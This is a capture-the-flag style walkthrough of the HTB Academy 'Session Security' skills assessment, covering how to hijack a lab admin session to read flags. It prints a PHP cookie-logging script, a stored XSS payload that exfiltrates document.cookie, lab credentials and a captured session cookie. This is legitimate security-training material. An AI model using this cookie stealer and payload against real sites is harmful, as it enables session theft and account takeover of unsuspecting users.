[HTB_Academy] Session Security

4 min readApr 16



The following post may contain spoilers. Use it as a guide or support. It is always better to try it by yourself!
Enjoy :)


All resources can be found in the following GitHub repository:

Module Summary

Any inefficiencies or misconfigurations in the session-handling implementation of a web application, service, or API can have devastating consequences that range from information leakage and inadvertent user actions all the way to Account Takeover (ATO) and remote code execution.

As you can imagine, it is of paramount importance to thoroughly test the session-handling logic of a web application being assessed. That said, testing the robustness of a session-handling implementation is not a small feat. This is because chaining (seemingly unrelated) vulnerabilities is often required to successfully attack a user’s session.

Worry not, though; in this module, we will provide you with a highly hands-on experience around attacking a user’s session and the possible paths that you can take to achieve that.

In this module, you will have the opportunity to practice manual exploitation of the following:

  • Session Hijacking
  • Session Fixation
  • XSS (Cross-Site Scripting) <– With a focus on user sessions
  • CSRF (Cross-Site Request Forgery)
  • Open Redirect <– With a focus on user sessions

We will also discuss remediation guidance regarding the abovementioned vulnerabilities.

Session Security — Skills Assessment

Q. Read the flag residing in the admin’s public profile. Answer format: [string]

  1. We utilize virtual hosts (vhosts) to house the web applications to simulate a large, realistic environment with multiple webservers. Since these vhosts all map to a different directory on the same host, we have to make manual entries in our /etc/hosts file on the Pwnbox or local attack VM to interact with the lab.

2. Access to “http://minilab.htb.net”. First you have to log in with the credentials provided in the statement. Enter the credentials and click on login.

Email: heavycat106
Password: rocknrol

3. Create a PHP script that saves the cookie.

nano log.php
$logFile = "cookieLog.txt";
$cookie = $_REQUEST["c"];

$handle = fopen($logFile, "a");
fwrite($handle, $cookie . "\n\n");

header("Location: http://www.google.com/");

4. Open a listener in the same folder where the PHP script created in the previous step is.

php -S

5. Access the “app” section, enter the following payload in the country field and click on the “Save” button.

<style>@keyframes x{}</style><video style="animation-name:x" onanimationend="window.location = '' + document.cookie;"></video>

6. When you click on save, you are redirected to a section where you can save the data permanently. In the following screenshot it is verified that the app has accepted the payload. Click on Save.

7. Access “http://minilab.htb.net/submit-solution" and see how the success field is “false”.

8. Insert the following link that contains the profile with the payload as a parameter.


9. We check the listener and see what looks like a cookie thanks to the payload, the script and the listener.

[Thu Feb  9 11:11:28 2023] [302]: GET /log.php?c=auth-session=s%3AZMEqyRAhF2Ta7gHyxUZCWu4DaPb2_KT0.ES2ciTNMldjUBsKFonTFKF%2B09jHx6I3lIJFfQGjTkmc

10. In Chrome, introduce that cookie in storage and update.

11. The admin profile has been accessed within the app. Click on the “Change Visibility” button.

12. Finally, click on “Make Public!” button.

13. Here we see the first flag and a button to get the second flag. Clicking on the “Flag2” button downloads a pcap file.

Q. Go through the PCAP file residing in the admin’s public profile and identify the flag. Answer format: FLAG{string} wireshark

1. We open Wireshark as “superuser” and click on “Open Capture File”. Select the previously downloaded file.

2. Once the file is open, we look for the string “FLAG” in the search engine and the second Flag is obtained.